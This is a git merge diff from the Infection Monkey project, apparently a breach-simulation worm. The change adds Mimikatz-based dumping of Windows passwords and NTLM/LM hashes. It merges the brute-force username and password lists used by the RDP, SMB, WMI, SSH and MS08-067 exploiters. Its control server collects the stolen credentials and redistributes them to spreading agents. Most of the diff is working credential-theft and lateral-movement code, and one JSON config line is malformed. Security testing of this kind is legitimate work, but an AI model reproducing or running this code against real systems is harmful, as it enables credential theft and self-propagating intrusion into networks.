Merge pull request #42 from guardicore/feature/add_mimikatz
Feature/add mimikatz
This commit is contained in:
commit
54f054a4e7
|
@ -153,8 +153,8 @@ See the [LICENSE](LICENSE) file for license rights and limitations (GPLv3).
|
|||
Dependent packages
|
||||
---------------------
|
||||
|
||||
Dependency | License |
|
||||
----------------------------|----------------------------
|
||||
Dependency | License | Notes
|
||||
----------------------------|----------------------------|----------------------------
|
||||
libffi-dev | https://github.com/atgreen/libffi/blob/master/LICENSE
|
||||
PyCrypto | Public domain
|
||||
upx | Custom license, http://upx.sourceforge.net/upx-license.html
|
||||
|
@ -188,3 +188,4 @@ Dependency | License |
|
|||
winbind | GPL-3
|
||||
pyinstaller | GPL
|
||||
Celery | BSD
|
||||
mimikatz | CC BY 4.0 | We use an altered version of mimikatz made by gentilkiwi: https://github.com/guardicore/mimikatz
|
||||
|
|
|
@ -4,6 +4,7 @@ from network.range import FixedRange, RelativeRange, ClassCRange
|
|||
from exploit import WmiExploiter, Ms08_067_Exploiter, SmbExploiter, RdpExploiter, SSHExploiter, ShellShockExploiter
|
||||
from network import TcpScanner, PingScanner, SMBFinger, SSHFinger, HTTPFinger
|
||||
from abc import ABCMeta
|
||||
from itertools import product
|
||||
import uuid
|
||||
import types
|
||||
|
||||
|
@ -13,7 +14,6 @@ GUID = str(uuid.getnode())
|
|||
|
||||
EXTERNAL_CONFIG_FILE = os.path.join(os.path.abspath(os.path.dirname(sys.argv[0])), 'monkey.bin')
|
||||
|
||||
|
||||
def _cast_by_example(value, example):
|
||||
"""
|
||||
a method that casts a value to the type of the parameter given as example
|
||||
|
@ -204,17 +204,17 @@ class Configuration(object):
|
|||
ms08_067_remote_user_add = "Monkey_IUSER_SUPPORT"
|
||||
ms08_067_remote_user_pass = "Password1!"
|
||||
|
||||
# psexec exploiter
|
||||
psexec_user = "Administrator"
|
||||
psexec_passwords = ["Password1!", "1234", "password", "12345678"]
|
||||
|
||||
# ssh exploiter
|
||||
ssh_users = ["root", 'user']
|
||||
ssh_passwords = ["Password1!", "1234", "password", "12345678"]
|
||||
|
||||
# rdp exploiter
|
||||
rdp_use_vbs_download = True
|
||||
|
||||
# User and password dictionaries for exploits.
|
||||
|
||||
def get_exploit_user_password_pairs(self):
|
||||
return product(self.exploit_user_list, self.exploit_password_list)
|
||||
|
||||
exploit_user_list = ['Administrator', 'root', 'user']
|
||||
exploit_password_list = ["Password1!", "1234", "password", "12345678"]
|
||||
|
||||
# smb/wmi exploiter
|
||||
smb_download_timeout = 300 # timeout in seconds
|
||||
smb_service_name = "InfectionMonkey"
|
||||
|
@ -223,4 +223,10 @@ class Configuration(object):
|
|||
collect_system_info = True
|
||||
|
||||
|
||||
###########################
|
||||
# systeminfo config
|
||||
###########################
|
||||
|
||||
mimikatz_dll_name = "mk.dll"
|
||||
|
||||
WormConfiguration = Configuration()
|
||||
|
|
|
@ -12,21 +12,6 @@
|
|||
],
|
||||
"blocked_ips": [""],
|
||||
"current_server": "41.50.73.31:5000",
|
||||
"psexec_passwords": [
|
||||
"Password1!",
|
||||
"1234",
|
||||
"password",
|
||||
"12345678"
|
||||
],
|
||||
"ssh_passwords": [
|
||||
"Password1!",
|
||||
"Password",
|
||||
"1234",
|
||||
"12345",
|
||||
"123",
|
||||
"password",
|
||||
"12345678"
|
||||
],
|
||||
"alive": true,
|
||||
"collect_system_info": true,
|
||||
"depth": 2,
|
||||
|
@ -63,7 +48,6 @@
|
|||
"ms08_067_remote_user_add": "Monkey_IUSER_SUPPORT",
|
||||
"ms08_067_remote_user_pass": "Password1!",
|
||||
"ping_scan_timeout": 10000,
|
||||
"psexec_user": "Administrator",
|
||||
"range_size": 30,
|
||||
"rdp_use_vbs_download": true,
|
||||
"smb_download_timeout": 300,
|
||||
|
@ -74,11 +58,9 @@
|
|||
"serialize_config": false,
|
||||
"singleton_mutex_name": "{2384ec59-0df8-4ab9-918c-843740924a28}",
|
||||
"skip_exploit_if_file_exist": true,
|
||||
"ssh_users": [
|
||||
"root",
|
||||
"user"
|
||||
],
|
||||
"local_network_scan": true,
|
||||
"exploit_user_list": [],
|
||||
"exploit_password_list" = []
|
||||
"tcp_scan_get_banner": true,
|
||||
"tcp_scan_interval": 200,
|
||||
"tcp_scan_timeout": 10000,
|
||||
|
|
|
@ -280,27 +280,27 @@ class RdpExploiter(HostExploiter):
|
|||
'monkey_path': self._config.dropper_target_path,
|
||||
'http_path': http_path, 'parameters': cmdline}
|
||||
|
||||
passwords = list(self._config.psexec_passwords[:])
|
||||
known_password = host.get_credentials(self._config.psexec_user)
|
||||
if known_password is not None:
|
||||
if known_password in passwords:
|
||||
passwords.remove(known_password)
|
||||
passwords.insert(0, known_password)
|
||||
config_users = self._config.exploit_user_list
|
||||
config_passwords = self._config.exploit_password_list
|
||||
user_password_pairs = []
|
||||
for user in config_users:
|
||||
for password in config_passwords:
|
||||
user_password_pairs.append((user, password))
|
||||
|
||||
if not g_reactor.is_alive():
|
||||
g_reactor.daemon = True
|
||||
g_reactor.start()
|
||||
|
||||
exploited = False
|
||||
for password in passwords:
|
||||
for user, password in user_password_pairs:
|
||||
try:
|
||||
# run command using rdp.
|
||||
LOG.info("Trying RDP logging into victim %r with user %s and password '%s'",
|
||||
host, self._config.psexec_user, password)
|
||||
host, user, password)
|
||||
|
||||
LOG.info("RDP connected to %r", host)
|
||||
|
||||
client_factory = CMDClientFactory(self._config.psexec_user, password, "", command)
|
||||
client_factory = CMDClientFactory(user, password, "", command)
|
||||
|
||||
reactor.callFromThread(reactor.connectTCP, host.ip_addr, RDP_PORT, client_factory)
|
||||
|
||||
|
@ -308,16 +308,16 @@ class RdpExploiter(HostExploiter):
|
|||
|
||||
if client_factory.success:
|
||||
exploited = True
|
||||
host.learn_credentials(self._config.psexec_user, password)
|
||||
host.learn_credentials(user, password)
|
||||
break
|
||||
else:
|
||||
# failed exploiting with this user/pass
|
||||
report_failed_login(self, host, self._config.psexec_user, password)
|
||||
report_failed_login(self, host, user, password)
|
||||
|
||||
except Exception, exc:
|
||||
LOG.debug("Error logging into victim %r with user"
|
||||
" %s and password '%s': (%s)", host,
|
||||
self._config.psexec_user, password, exc)
|
||||
user, password, exc)
|
||||
continue
|
||||
|
||||
http_thread.join(DOWNLOAD_TIMEOUT)
|
||||
|
|
|
@ -64,19 +64,14 @@ class SmbExploiter(HostExploiter):
|
|||
LOG.info("Can't find suitable monkey executable for host %r", host)
|
||||
return False
|
||||
|
||||
passwords = list(self._config.psexec_passwords[:])
|
||||
known_password = host.get_credentials(self._config.psexec_user)
|
||||
if known_password is not None:
|
||||
if known_password in passwords:
|
||||
passwords.remove(known_password)
|
||||
passwords.insert(0, known_password)
|
||||
user_password_pairs = self._config.get_exploit_user_password_pairs()
|
||||
|
||||
exploited = False
|
||||
for password in passwords:
|
||||
for user, password in user_password_pairs:
|
||||
try:
|
||||
# copy the file remotely using SMB
|
||||
remote_full_path = SmbTools.copy_file(host,
|
||||
self._config.psexec_user,
|
||||
user,
|
||||
password,
|
||||
src_path,
|
||||
self._config.dropper_target_path,
|
||||
|
@ -84,18 +79,18 @@ class SmbExploiter(HostExploiter):
|
|||
|
||||
if remote_full_path is not None:
|
||||
LOG.debug("Successfully logged in %r using SMB (%s : %s)",
|
||||
host, self._config.psexec_user, password)
|
||||
host.learn_credentials(self._config.psexec_user, password)
|
||||
host, user, password)
|
||||
host.learn_credentials(user, password)
|
||||
exploited = True
|
||||
break
|
||||
else:
|
||||
# failed exploiting with this user/pass
|
||||
report_failed_login(self, host, self._config.psexec_user, password)
|
||||
report_failed_login(self, host, user, password)
|
||||
|
||||
except Exception, exc:
|
||||
LOG.debug("Exception when trying to copy file using SMB to %r with user"
|
||||
" %s and password '%s': (%s)", host,
|
||||
self._config.psexec_user, password, exc)
|
||||
user, password, exc)
|
||||
continue
|
||||
|
||||
if not exploited:
|
||||
|
@ -118,7 +113,7 @@ class SmbExploiter(HostExploiter):
|
|||
rpctransport.preferred_dialect(SMB_DIALECT)
|
||||
if hasattr(rpctransport, 'set_credentials'):
|
||||
# This method exists only for selected protocol sequences.
|
||||
rpctransport.set_credentials(self._config.psexec_user, password, host.ip_addr,
|
||||
rpctransport.set_credentials(user, password, host.ip_addr,
|
||||
"", "", None)
|
||||
rpctransport.set_kerberos(SmbExploiter.USE_KERBEROS)
|
||||
|
||||
|
|
|
@ -42,20 +42,12 @@ class SSHExploiter(HostExploiter):
|
|||
is_open, _ = check_port_tcp(host.ip_addr, port)
|
||||
if not is_open:
|
||||
LOG.info("SSH port is closed on %r, skipping", host)
|
||||
return False
|
||||
return False
|
||||
|
||||
passwords = list(self._config.ssh_passwords[:])
|
||||
users = list(self._config.ssh_users)
|
||||
known_passwords = [host.get_credentials(x) for x in users]
|
||||
if len(known_passwords) > 0:
|
||||
for known_pass in known_passwords:
|
||||
if known_pass in passwords:
|
||||
passwords.remove(known_pass)
|
||||
passwords.insert(0, known_pass) #try first
|
||||
user_pass = product(users,passwords)
|
||||
user_password_pairs = self._config.get_exploit_user_password_pairs()
|
||||
|
||||
exploited = False
|
||||
for user, curpass in user_pass:
|
||||
for user, curpass in user_password_pairs:
|
||||
try:
|
||||
ssh.connect(host.ip_addr,
|
||||
username=user,
|
||||
|
|
|
@ -235,7 +235,7 @@ class Ms08_067_Exploiter(HostExploiter):
|
|||
|
||||
if not remote_full_path:
|
||||
# try other passwords for administrator
|
||||
for password in self._config.psexec_passwords:
|
||||
for password in self._config.exploit_password_list:
|
||||
remote_full_path = SmbTools.copy_file(host,
|
||||
"Administrator",
|
||||
password,
|
||||
|
|
|
@ -29,14 +29,9 @@ class WmiExploiter(HostExploiter):
|
|||
LOG.info("Can't find suitable monkey executable for host %r", host)
|
||||
return False
|
||||
|
||||
passwords = list(self._config.psexec_passwords[:])
|
||||
known_password = host.get_credentials(self._config.psexec_user)
|
||||
if known_password is not None:
|
||||
if known_password in passwords:
|
||||
passwords.remove(known_password)
|
||||
passwords.insert(0, known_password)
|
||||
user_password_pairs = self._config.get_exploit_user_password_pairs()
|
||||
|
||||
for password in passwords:
|
||||
for user, password in user_password_pairs:
|
||||
LOG.debug("Attempting to connect %r using WMI with password '%s'",
|
||||
host, password)
|
||||
|
||||
|
@ -44,27 +39,27 @@ class WmiExploiter(HostExploiter):
|
|||
|
||||
try:
|
||||
wmi_connection.connect(host,
|
||||
self._config.psexec_user,
|
||||
user,
|
||||
password)
|
||||
except AccessDeniedException:
|
||||
LOG.debug("Failed connecting to %r using WMI with password '%s'",
|
||||
host, password)
|
||||
LOG.debug("Failed connecting to %r using WMI with user,password ('%s','%s')",
|
||||
host, user, password)
|
||||
continue
|
||||
except DCERPCException, exc:
|
||||
report_failed_login(self, host, self._config.psexec_user, password)
|
||||
LOG.debug("Failed connecting to %r using WMI with password '%s'",
|
||||
host, password)
|
||||
report_failed_login(self, host, user, password)
|
||||
LOG.debug("Failed connecting to %r using WMI with user,password: ('%s','%s')",
|
||||
host, user, password)
|
||||
continue
|
||||
except socket.error, exc:
|
||||
LOG.debug("Network error in WMI connection to %r with password '%s' (%s)",
|
||||
host, password, exc)
|
||||
LOG.debug("Network error in WMI connection to %r with user,password: ('%s','%s') (%s)",
|
||||
host, user, password, exc)
|
||||
return False
|
||||
except Exception, exc:
|
||||
LOG.debug("Unknown WMI connection error to %r with password '%s' (%s):\n%s",
|
||||
host, password, exc, traceback.format_exc())
|
||||
LOG.debug("Unknown WMI connection error to %r with user,password: ('%s','%s') (%s):\n%s",
|
||||
host, user, password, exc, traceback.format_exc())
|
||||
return False
|
||||
|
||||
host.learn_credentials(self._config.psexec_user, password)
|
||||
host.learn_credentials(user, password)
|
||||
|
||||
# query process list and check if monkey already running on victim
|
||||
process_list = WmiTools.list_object(wmi_connection, "Win32_Process",
|
||||
|
@ -78,7 +73,7 @@ class WmiExploiter(HostExploiter):
|
|||
|
||||
# copy the file remotely using SMB
|
||||
remote_full_path = SmbTools.copy_file(host,
|
||||
self._config.psexec_user,
|
||||
user,
|
||||
password,
|
||||
src_path,
|
||||
self._config.dropper_target_path,
|
||||
|
|
|
@ -105,6 +105,9 @@ class ChaosMonkey(object):
|
|||
ControlClient.keepalive()
|
||||
ControlClient.load_control_config()
|
||||
|
||||
LOG.debug("Users to try: %s" % str(WormConfiguration.exploit_user_list))
|
||||
LOG.debug("Passwords to try: %s" % str(WormConfiguration.exploit_password_list))
|
||||
|
||||
self._network.initialize()
|
||||
|
||||
self._exploiters = [exploiter() for exploiter in WormConfiguration.exploiter_classes]
|
||||
|
|
|
@ -9,11 +9,15 @@ a = Analysis(['main.py'],
|
|||
|
||||
if platform.system().find("Windows")>= 0:
|
||||
a.datas = [i for i in a.datas if i[0].find('Include') < 0]
|
||||
if platform.architecture()[0] == "32bit":
|
||||
a.binaries += [('mk.dll', '.\\bin\\mk32.dll', 'BINARY')]
|
||||
else:
|
||||
a.binaries += [('mk.dll', '.\\bin\\mk64.dll', 'BINARY')]
|
||||
|
||||
pyz = PYZ(a.pure)
|
||||
exe = EXE(pyz,
|
||||
a.scripts,
|
||||
a.binaries + [('msvcr100.dll', os.environ['WINDIR'] + '\system32\msvcr100.dll', 'BINARY')],
|
||||
a.binaries + [('msvcr100.dll', os.environ['WINDIR'] + '\\system32\\msvcr100.dll', 'BINARY')],
|
||||
a.zipfiles,
|
||||
a.datas,
|
||||
name='monkey.exe',
|
||||
|
|
|
@ -0,0 +1,82 @@
|
|||
import ctypes
|
||||
import binascii
|
||||
import logging
|
||||
|
||||
__author__ = 'itay.mizeretz'
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
|
||||
|
||||
|
||||
|
||||
class MimikatzCollector:
|
||||
"""
|
||||
Password collection module for Windows using Mimikatz.
|
||||
"""
|
||||
|
||||
def __init__(self):
|
||||
try:
|
||||
self._isInit = False
|
||||
self._config = __import__('config').WormConfiguration
|
||||
self._dll = ctypes.WinDLL(self._config.mimikatz_dll_name)
|
||||
collect_proto = ctypes.WINFUNCTYPE(ctypes.c_int)
|
||||
get_proto = ctypes.WINFUNCTYPE(MimikatzCollector.LogonData)
|
||||
self._collect = collect_proto(("collect", self._dll))
|
||||
self._get = get_proto(("get", self._dll))
|
||||
self._isInit = True
|
||||
except StandardError as ex:
|
||||
LOG.exception("Error initializing mimikatz collector")
|
||||
|
||||
def get_logon_info(self):
|
||||
"""
|
||||
Gets the logon info from mimikatz.
|
||||
Returns a dictionary of users with their known credentials.
|
||||
"""
|
||||
|
||||
if not self._isInit:
|
||||
return {}
|
||||
|
||||
try:
|
||||
entry_count = self._collect()
|
||||
|
||||
logon_data_dictionary = {}
|
||||
|
||||
for i in range(entry_count):
|
||||
entry = self._get()
|
||||
username = str(entry.username)
|
||||
password = str(entry.password)
|
||||
lm_hash = binascii.hexlify(bytearray(entry.lm_hash))
|
||||
ntlm_hash = binascii.hexlify(bytearray(entry.ntlm_hash))
|
||||
has_password = (0 != len(password))
|
||||
has_lm = ("00000000000000000000000000000000" != lm_hash)
|
||||
has_ntlm = ("00000000000000000000000000000000" != ntlm_hash)
|
||||
|
||||
if not logon_data_dictionary.has_key(username):
|
||||
logon_data_dictionary[username] = {}
|
||||
if has_password:
|
||||
logon_data_dictionary[username]["password"] = password
|
||||
if has_lm:
|
||||
logon_data_dictionary[username]["lm_hash"] = lm_hash
|
||||
if has_ntlm:
|
||||
logon_data_dictionary[username]["ntlm_hash"] = ntlm_hash
|
||||
|
||||
return logon_data_dictionary
|
||||
except StandardError as ex:
|
||||
LOG.exception("Error getting logon info")
|
||||
return {}
|
||||
|
||||
class LogonData(ctypes.Structure):
|
||||
"""
|
||||
Logon data structure returned from mimikatz.
|
||||
"""
|
||||
|
||||
WINDOWS_MAX_USERNAME_PASS_LENGTH = 257
|
||||
LM_NTLM_HASH_LENGTH = 16
|
||||
|
||||
_fields_ = \
|
||||
[
|
||||
("username", ctypes.c_wchar * WINDOWS_MAX_USERNAME_PASS_LENGTH),
|
||||
("password", ctypes.c_wchar * WINDOWS_MAX_USERNAME_PASS_LENGTH),
|
||||
("lm_hash", ctypes.c_byte * LM_NTLM_HASH_LENGTH),
|
||||
("ntlm_hash", ctypes.c_byte * LM_NTLM_HASH_LENGTH)
|
||||
]
|
|
@ -1,5 +1,5 @@
|
|||
from . import InfoCollector
|
||||
|
||||
from mimikatz_collector import MimikatzCollector
|
||||
__author__ = 'uri'
|
||||
|
||||
|
||||
|
@ -14,4 +14,6 @@ class WindowsInfoCollector(InfoCollector):
|
|||
def get_info(self):
|
||||
self.get_hostname()
|
||||
self.get_process_list()
|
||||
mimikatz_collector = MimikatzCollector()
|
||||
self.info["credentials"] = mimikatz_collector.get_logon_info()
|
||||
return self.info
|
||||
|
|
|
@ -48,6 +48,9 @@ MONKEY_DOWNLOADS = [
|
|||
},
|
||||
]
|
||||
|
||||
INITIAL_USERNAMES = ['Administrator', 'root', 'user']
|
||||
INITIAL_PASSWORDS = ["Password1!", "1234", "password", "12345678"]
|
||||
|
||||
MONGO_URL = os.environ.get('MONGO_URL')
|
||||
if not MONGO_URL:
|
||||
MONGO_URL = "mongodb://localhost:27017/monkeyisland"
|
||||
|
@ -65,7 +68,12 @@ class Monkey(restful.Resource):
|
|||
timestamp = request.args.get('timestamp')
|
||||
|
||||
if guid:
|
||||
return mongo.db.monkey.find_one_or_404({"guid": guid})
|
||||
monkey_json = mongo.db.monkey.find_one_or_404({"guid": guid})
|
||||
monkey_json['config']['exploit_user_list'] = \
|
||||
map(lambda x: x['username'], mongo.db.usernames.find({}, {'_id': 0, 'username': 1}).sort([('count', -1)]))
|
||||
monkey_json['config']['exploit_password_list'] = \
|
||||
map(lambda x: x['password'], mongo.db.passwords.find({}, {'_id': 0, 'password': 1}).sort([('count', -1)]))
|
||||
return monkey_json
|
||||
else:
|
||||
result = {'timestamp': datetime.now().isoformat()}
|
||||
find_filter = {}
|
||||
|
@ -195,6 +203,18 @@ class Telemetry(restful.Resource):
|
|||
except:
|
||||
pass
|
||||
|
||||
# Update credentials DB
|
||||
try:
|
||||
if (telemetry_json.get('telem_type') == 'system_info_collection') and (telemetry_json['data'].has_key('credentials')):
|
||||
creds = telemetry_json['data']['credentials']
|
||||
for user in creds:
|
||||
creds_add_username(user)
|
||||
|
||||
if creds[user].has_key('password'):
|
||||
creds_add_password(creds[user]['password'])
|
||||
except StandardError as ex:
|
||||
print("Exception caught while updating DB credentials: %s" % str(ex))
|
||||
|
||||
return mongo.db.telemetry.find_one_or_404({"_id": telem_id})
|
||||
|
||||
|
||||
|
@ -259,6 +279,9 @@ class Root(restful.Resource):
|
|||
mongo.db.config.drop()
|
||||
mongo.db.monkey.drop()
|
||||
mongo.db.telemetry.drop()
|
||||
mongo.db.usernames.drop()
|
||||
mongo.db.passwords.drop()
|
||||
init_db()
|
||||
return {
|
||||
'status': 'OK',
|
||||
}
|
||||
|
@ -347,13 +370,25 @@ def run_local_monkey(island_address):
|
|||
|
||||
return (True, "pis: %s" % pid)
|
||||
|
||||
def creds_add_username(username):
|
||||
mongo.db.usernames.update(
|
||||
{'username': username},
|
||||
{'$inc': {'count': 1}},
|
||||
upsert=True
|
||||
)
|
||||
|
||||
def creds_add_password(password):
|
||||
mongo.db.passwords.update(
|
||||
{'password': password},
|
||||
{'$inc': {'count': 1}},
|
||||
upsert=True
|
||||
)
|
||||
|
||||
### Local ips function
|
||||
if sys.platform == "win32":
|
||||
def local_ips():
|
||||
local_hostname = socket.gethostname()
|
||||
return socket.gethostbyname_ex(local_hostname)[2]
|
||||
|
||||
else:
|
||||
import fcntl
|
||||
def local_ips():
|
||||
|
@ -398,6 +433,17 @@ def send_to_default():
|
|||
return redirect('/admin/index.html')
|
||||
|
||||
|
||||
def init_db():
|
||||
if not "usernames" in mongo.db.collection_names():
|
||||
mongo.db.usernames.create_index([( "username", 1 )], unique= True)
|
||||
for username in INITIAL_USERNAMES:
|
||||
creds_add_username(username)
|
||||
|
||||
if not "passwords" in mongo.db.collection_names():
|
||||
mongo.db.passwords.create_index([( "password", 1 )], unique= True)
|
||||
for password in INITIAL_PASSWORDS:
|
||||
creds_add_password(password)
|
||||
|
||||
DEFAULT_REPRESENTATIONS = {'application/json': output_json}
|
||||
api = restful.Api(app)
|
||||
api.representations = DEFAULT_REPRESENTATIONS
|
||||
|
@ -414,6 +460,8 @@ if __name__ == '__main__':
|
|||
from tornado.httpserver import HTTPServer
|
||||
from tornado.ioloop import IOLoop
|
||||
|
||||
with app.app_context():
|
||||
init_db()
|
||||
http_server = HTTPServer(WSGIContainer(app), ssl_options={'certfile': 'server.crt', 'keyfile': 'server.key'})
|
||||
http_server.listen(ISLAND_PORT)
|
||||
IOLoop.instance().start()
|
||||
|
|
Loading…
Reference in New Issue